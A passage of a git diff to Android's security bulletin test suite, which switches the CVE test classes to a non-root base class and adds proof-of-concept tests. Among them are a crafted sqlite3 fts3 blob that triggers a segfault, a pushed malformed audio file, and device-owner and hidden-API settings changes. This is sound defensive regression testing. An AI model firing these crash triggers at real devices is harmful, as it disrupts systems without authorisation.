"android.security.cts.CVE_2022_20138"; static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20147.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20147.java index 41a727f857e..5b1d38ca53f 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20147.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20147.java @@ -22,15 +22,16 @@ import android.platform.test.annotations.AsbSecurityTest; import com.android.compatibility.common.util.CrashUtils; import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import java.util.regex.Pattern; - -import org.junit.runner.RunWith; import org.junit.Test; +import org.junit.runner.RunWith; + +import java.util.regex.Pattern; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2022_20147 extends SecurityTestCase { +public class CVE_2022_20147 extends NonRootSecurityTestCase { /** * b/221216105 * Vulnerability Behaviour: SIGSEGV in self diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20197.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20197.java new file mode 100644 index 00000000000..3d31cee17c7 --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20197.java @@ -0,0 +1,71 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import static org.junit.Assume.assumeNoException; + +import android.platform.test.annotations.AsbSecurityTest; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; +import com.android.tradefed.device.ITestDevice; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + +import org.junit.Test; +import org.junit.runner.RunWith; + + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2022_20197 extends NonRootSecurityTestCase { + private static final String TEST_PKG = "android.security.cts.CVE_2022_20197"; + + @AsbSecurityTest(cveBugId = 208279300) + @Test + public void testPocCVE_2022_20197() { + ITestDevice device = null; + boolean isPolicyPresent = true; + boolean isHiddenApiEnabled = true; + String status = ""; + try { + device = getDevice(); + installPackage("CVE-2022-20197.apk"); + + status = AdbUtils.runCommandLine("settings get global hidden_api_policy", device); + if (status.toLowerCase().contains("null")) { + isPolicyPresent = false; + } else if (!status.toLowerCase().contains("1")) { + isHiddenApiEnabled = false; + } + if (!isPolicyPresent || !isHiddenApiEnabled) { + AdbUtils.runCommandLine("settings put global hidden_api_policy 1", device); + } + runDeviceTests(TEST_PKG, TEST_PKG + ".DeviceTest", "testParcel"); + } catch (Exception e) { + assumeNoException(e); + } finally { + try { + if (!isPolicyPresent) { + AdbUtils.runCommandLine("settings delete global hidden_api_policy", device); + } else if (!isHiddenApiEnabled) { + AdbUtils.runCommandLine("settings put global hidden_api_policy " + status, + device); + } + } catch (Exception e) { + // ignore all exceptions. + } + } + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20223.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20223.java index f593f204bd6..18d4cdd6f55 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20223.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20223.java @@ -21,7 +21,7 @@ import static org.junit.Assume.assumeTrue; import android.platform.test.annotations.AsbSecurityTest; -import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.device.ITestDevice; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; @@ -29,7 +29,7 @@ import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2022_20223 extends StsExtraBusinessLogicHostTestBase { +public class CVE_2022_20223 extends NonRootSecurityTestCase { @AsbSecurityTest(cveBugId = 223578534) @Test diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20230.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20230.java index 1886a4af4ac..59e7631b287 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20230.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20230.java @@ -20,7 +20,7 @@ import static org.junit.Assume.assumeNoException; import android.platform.test.annotations.AsbSecurityTest; -import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.device.ITestDevice; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; @@ -28,7 +28,7 @@ import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2022_20230 extends StsExtraBusinessLogicHostTestBase { +public class CVE_2022_20230 extends NonRootSecurityTestCase { public static final int USER_ID = 0; static final String TEST_APP = "CVE-2022-20230.apk"; static final String TEST_PKG = "android.security.cts.CVE_2022_20230"; diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20347.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20347.java index de245bb06da..8087e692b5f 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20347.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20347.java @@ -20,7 +20,7 @@ import static org.junit.Assume.assumeNoException; import android.platform.test.annotations.AsbSecurityTest; -import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.device.ITestDevice; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; @@ -28,7 +28,7 @@ import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2022_20347 extends StsExtraBusinessLogicHostTestBase { +public class CVE_2022_20347 extends NonRootSecurityTestCase { @AsbSecurityTest(cveBugId = 228450811) @Test diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20348.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20348.java new file mode 100644 index 00000000000..df33a31144d --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20348.java @@ -0,0 +1,60 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import static org.junit.Assume.assumeNoException; + +import android.platform.test.annotations.AsbSecurityTest; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; +import com.android.tradefed.device.ITestDevice; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2022_20348 extends NonRootSecurityTestCase { + static final String TEST_PKG = "android.security.cts.CVE_2022_20348"; + public static final String TEST_DEVICE_ADMIN_RECEIVER = ".PocDeviceAdminReceiver"; + + @AsbSecurityTest(cveBugId = 228315529) + @Test + public void testPocCVE_2022_20348() throws Exception { + try { + ITestDevice device = getDevice(); + + /* Wake up the screen */ + AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device); + + /* Install the test application */ + installPackage("CVE-2022-20348.apk"); + + /* Set Device Admin Component */ + AdbUtils.runCommandLine( + "dpm set-device-owner '" + TEST_PKG + "/" + TEST_DEVICE_ADMIN_RECEIVER + "'", + device); + + /* Run the test "testWifiScanningDisallowed" */ + runDeviceTests(TEST_PKG, TEST_PKG + ".DeviceTest", "testWifiScanningDisallowed"); + } catch (Exception e) { + assumeNoException(e); + } + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20349.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20349.java index c4f52254d66..f8dcc48de61 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20349.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20349.java @@ -20,7 +20,7 @@ import static org.junit.Assume.assumeNoException; import android.platform.test.annotations.AsbSecurityTest; -import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.device.ITestDevice; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; @@ -28,7 +28,7 @@ import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2022_20349 extends StsExtraBusinessLogicHostTestBase { +public class CVE_2022_20349 extends NonRootSecurityTestCase { static final String TEST_PKG = "android.security.cts.CVE_2022_20349"; public static final String TEST_DEVICE_ADMIN_RECEIVER = ".PocDeviceAdminReceiver"; diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20353.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20353.java new file mode 100644 index 00000000000..12bb187b47f --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20353.java @@ -0,0 +1,54 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import static org.junit.Assume.assumeNoException; + +import android.platform.test.annotations.AsbSecurityTest; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; +import com.android.tradefed.device.ITestDevice; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2022_20353 extends NonRootSecurityTestCase { + + @AsbSecurityTest(cveBugId = 221041256) + @Test + public void testPocCVE_2022_20353() { + try { + final String testPkg = "android.security.cts.CVE_2022_20353"; + ITestDevice device = getDevice(); + + AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device); + + // to generate NOTICE.html if not already present + AdbUtils.runCommandLine("am start -a android.settings.LICENSE", device); + + installPackage("CVE-2022-20353.apk"); + + runDeviceTests(testPkg, testPkg + ".DeviceTest", "testDefaultRingtonePreference"); + } catch (Exception e) { + assumeNoException(e); + } + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_22082.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_22082.java new file mode 100644 index 00000000000..a0200f17840 --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_22082.java @@ -0,0 +1,50 @@ +/** + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package android.security.cts; + +import static org.junit.Assume.*; + +import android.platform.test.annotations.AsbSecurityTest; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2022_22082 extends NonRootSecurityTestCase { + + /** + * CVE-2022-22082 + */ + @AsbSecurityTest(cveBugId = 223211217) + @Test + public void testPocCVE_2022_22082() throws Exception { + /* + * Non StageFright test. + */ + safeReboot(); + AdbUtils.pushResource("/cve_2022_22082.dsf", "/sdcard/cve_2022_22082.dsf", getDevice()); + AdbUtils.runCommandLine("logcat -c", getDevice()); + AdbUtils.runCommandLine( + "am start -a android.intent.action.VIEW -t audio/dsf -d" + + " file:///sdcard/cve_2022_22082.dsf", + getDevice()); + Thread.sleep(10000); + AdbUtils.assertNoCrashes(getDevice(), "media.extractor"); + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/HostsideMainlineModuleDetector.java b/hostsidetests/securitybulletin/src/android/security/cts/HostsideMainlineModuleDetector.java deleted file mode 100644 index 1d57cb6a468..00000000000 --- a/hostsidetests/securitybulletin/src/android/security/cts/HostsideMainlineModuleDetector.java +++ /dev/null @@ -1,60 +0,0 @@ -/* - * Copyright (C) 2019 The Android Open Source Project - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package android.security.cts; - -import com.android.ddmlib.Log; - -import com.google.common.collect.ImmutableSet; - -import java.util.Set; -import java.util.regex.Matcher; -import java.util.regex.Pattern; - -public class HostsideMainlineModuleDetector { - private static final String LOG_TAG = "MainlineModuleDetector"; - - private SecurityTestCase context; - - private static ImmutableSet<String> playManagedModules; - - HostsideMainlineModuleDetector(SecurityTestCase context) { - this.context = context; - } - - synchronized Set<String> getPlayManagedModules() throws Exception { - if (playManagedModules == null) { - AdbUtils.runCommandLine("logcat -c", context.getDevice()); - String output = AdbUtils.runCommandLine( - "am start com.android.cts.mainlinemoduledetector/.MainlineModuleDetector", - context.getDevice()); - Log.logAndDisplay(Log.LogLevel.INFO, LOG_TAG, - "am output: " + output); - Thread.sleep(5 * 1000L); - String logcat = AdbUtils.runCommandLine("logcat -d -s MainlineModuleDetector:I", - context.getDevice()); - Log.logAndDisplay(Log.LogLevel.INFO, LOG_TAG, - "Found logcat output: " + logcat); - Matcher matcher = Pattern.compile("Play managed modules are: <(.*?)>").matcher(logcat); - if (matcher.find()) { - playManagedModules = ImmutableSet.copyOf(matcher.group(1).split(",")); - } else { - playManagedModules = ImmutableSet.of(); - } - } - return playManagedModules; - } -} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java index 367c766f750..2a0a572acc2 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_04.java @@ -15,15 +15,18 @@ */ package android.security.cts; +import static org.junit.Assert.*; + import android.platform.test.annotations.AsbSecurityTest; -import org.junit.Test; -import org.junit.runner.RunWith; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import static org.junit.Assert.*; +import org.junit.Test; +import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class Poc16_04 extends SecurityTestCase { +public class Poc16_04 extends NonRootSecurityTestCase { /** * b/26323455 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_05.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_05.java index f185352d60c..a837d5b0a5f 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_05.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_05.java @@ -16,15 +16,18 @@ package android.security.cts; +import static org.junit.Assert.*; + import android.platform.test.annotations.AsbSecurityTest; -import org.junit.Test; -import org.junit.runner.RunWith; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import static org.junit.Assert.*; +import org.junit.Test; +import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class Poc16_05 extends SecurityTestCase { +public class Poc16_05 extends NonRootSecurityTestCase { /** * b/27555981 */ diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_06.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_06.java index 6f7d26bde86..d4519ba3f84 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_06.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_06.java @@ -16,15 +16,18 @@ package android.security.cts; +import static org.junit.Assert.*; + import android.platform.test.annotations.AsbSecurityTest; -import org.junit.Test; -import org.junit.runner.RunWith; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import static org.junit.Assert.*; +import org.junit.Test; +import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class Poc16_06 extends SecurityTestCase { +public class Poc16_06 extends NonRootSecurityTestCase { /** * b/27661749 */ diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java index d5982522bb4..ae91d11e6d9 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java @@ -16,15 +16,18 @@ package android.security.cts; +import static org.junit.Assert.*; + import android.platform.test.annotations.AsbSecurityTest; -import org.junit.Test; -import org.junit.runner.RunWith; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import static org.junit.Assert.*; +import org.junit.Test; +import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class Poc16_07 extends SecurityTestCase { +public class Poc16_07 extends NonRootSecurityTestCase { /** * b/28740702 */ diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_09.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_09.java index e3f9906a2ca..69821c88987 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_09.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_09.java @@ -16,15 +16,18 @@ package android.security.cts; +import static org.junit.Assert.*; + import android.platform.test.annotations.AsbSecurityTest; -import org.junit.Test; -import org.junit.runner.RunWith; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import static org.junit.Assert.*; +import org.junit.Test; +import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class Poc16_09 extends SecurityTestCase { +public class Poc16_09 extends NonRootSecurityTestCase { /** * b/27773913 */ diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java index c19333af12c..beec744e4ea 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java @@ -16,15 +16,18 @@ package android.security.cts; +import static org.junit.Assert.*; + import android.platform.test.annotations.AsbSecurityTest; -import org.junit.Test; -import org.junit.runner.RunWith; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import static org.junit.Assert.*; +import org.junit.Test; +import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class Poc16_10 extends SecurityTestCase { +public class Poc16_10 extends NonRootSecurityTestCase { /** * b/30204103 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java index 5012920c3de..e1334b59dc8 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_11.java @@ -16,15 +16,18 @@ package android.security.cts; +import static org.junit.Assert.*; + import android.platform.test.annotations.AsbSecurityTest; -import org.junit.Test; -import org.junit.runner.RunWith; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import static org.junit.Assert.*; +import org.junit.Test; +import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class Poc16_11 extends SecurityTestCase { +public class Poc16_11 extends NonRootSecurityTestCase { /** * b/29149404 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_12.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_12.java index 392b11a1c4a..96570645487 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_12.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_12.java @@ -16,15 +16,18 @@ package android.security.cts; +import static org.junit.Assert.*; + import android.platform.test.annotations.AsbSecurityTest; -import org.junit.Test; -import org.junit.runner.RunWith; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import static org.junit.Assert.*; +import org.junit.Test; +import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class Poc16_12 extends SecurityTestCase { +public class Poc16_12 extends NonRootSecurityTestCase { //Criticals /** diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java index 07737163131..71e6998c4e2 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java @@ -16,15 +16,18 @@ package android.security.cts; +import static org.junit.Assert.*; + import android.platform.test.annotations.AsbSecurityTest; -import org.junit.Test; -import org.junit.runner.RunWith; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import static org.junit.Assert.*; +import org.junit.Test; +import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class Poc17_01 extends SecurityTestCase { +public class Poc17_01 extends NonRootSecurityTestCase { //Criticals /** diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java index 1fd4bf95d68..cd3dab04536 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java @@ -16,15 +16,18 @@ package android.security.cts; +import static org.junit.Assert.*; + import android.platform.test.annotations.AsbSecurityTest; -import org.junit.Test; -import org.junit.runner.RunWith; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import static org.junit.Assert.*; +import org.junit.Test; +import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class Poc17_02 extends SecurityTestCase { +public class Poc17_02 extends NonRootSecurityTestCase { /** * b/32799236 */ diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java index 50093b81a96..fba71464cc9 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_03.java @@ -16,17 +16,20 @@ package android.security.cts; -import java.util.concurrent.Callable; +import static org.junit.Assert.*; import android.platform.test.annotations.AsbSecurityTest; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + import org.junit.Test; import org.junit.runner.RunWith; -import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import static org.junit.Assert.*; +import java.util.concurrent.Callable; @RunWith(DeviceJUnit4ClassRunner.class) -public class Poc17_03 extends SecurityTestCase { +public class Poc17_03 extends NonRootSecurityTestCase { /** * b/31824853 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_04.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_04.java index 36f921c81b0..478398b864a 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_04.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_04.java @@ -16,15 +16,18 @@ package android.security.cts; +import static org.junit.Assert.*; + import android.platform.test.annotations.AsbSecurityTest; -import org.junit.Test; -import org.junit.runner.RunWith; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import static org.junit.Assert.*; +import org.junit.Test; +import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class Poc17_04 extends SecurityTestCase { +public class Poc17_04 extends NonRootSecurityTestCase { /** * b/32342065 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_05.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_05.java index fcedfb95a89..11a31233b0e 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_05.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_05.java @@ -16,18 +16,18 @@ package android.security.cts; -import java.util.Arrays; -import java.util.concurrent.Callable; +import static org.junit.Assert.*; import android.platform.test.annotations.AsbSecurityTest; -import org.junit.Test; -import org.junit.runner.RunWith; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import static org.junit.Assert.*; +import org.junit.Test; +import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class Poc17_05 extends SecurityTestCase { +public class Poc17_05 extends NonRootSecurityTestCase { /* * CVE-2016-5862 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_06.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_06.java index a3609a2418d..9afeb9bdb76 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_06.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_06.java @@ -16,15 +16,18 @@ package android.security.cts; +import static org.junit.Assert.*; + import android.platform.test.annotations.AsbSecurityTest; -import org.junit.Test; -import org.junit.runner.RunWith; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import static org.junit.Assert.*; +import org.junit.Test; +import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class Poc17_06 extends SecurityTestCase { +public class Poc17_06 extends NonRootSecurityTestCase { /** * b/36392138 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_07.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_07.java index f9309e5b93c..52b40a6d08a 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_07.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_07.java @@ -16,15 +16,18 @@ package android.security.cts; +import static org.junit.Assert.*; + import android.platform.test.annotations.AsbSecurityTest; -import org.junit.Test; -import org.junit.runner.RunWith; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import static org.junit.Assert.*; +import org.junit.Test; +import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class Poc17_07 extends SecurityTestCase { +public class Poc17_07 extends NonRootSecurityTestCase { /** * b/35443725 diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_09.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_09.java index dbb50bd19b7..fdbc11f37fe 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_09.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_09.java @@ -16,15 +16,18 @@ package android.security.cts; +import static org.junit.Assert.*; + import android.platform.test.annotations.AsbSecurityTest; -import org.junit.Test; -import org.junit.runner.RunWith; + +import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import static org.junit.Assert.*; +import org.junit.Test; +import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class Poc17_09 extends SecurityTestCase { +public class Poc17_09 extends NonRootSecurityTestCase { /** * b/63852675 @@ -32,31 +35,39 @@ public class Poc17_09 extends SecurityTestCase { @Test @AsbSecurityTest(cveBugId = 63852675) public void testPocCve_2017_6983() throws Exception { - // Error code of 139 represents segmentation fault - assertFalse("Segfault found", - AdbUtils.runCommandGetExitCode("sqlite3 ':memory:' \"CREATE VIRTUAL TABLE a using fts3(b);" - + "INSERT INTO a values(x'efbeaddeefbeadde');" - + "SELECT optimize(b) FROM a;\"" - , getDevice() - )==139); - assertFalse("Segfault found", - AdbUtils.runCommandGetExitCode("sqlite3 ':memory:' \"CREATE VIRTUAL TABLE a using fts3(b);" - + "INSERT INTO a values(x'efbeaddeefbeadde');" - + "SELECT snippet(b) FROM a;\"" - , 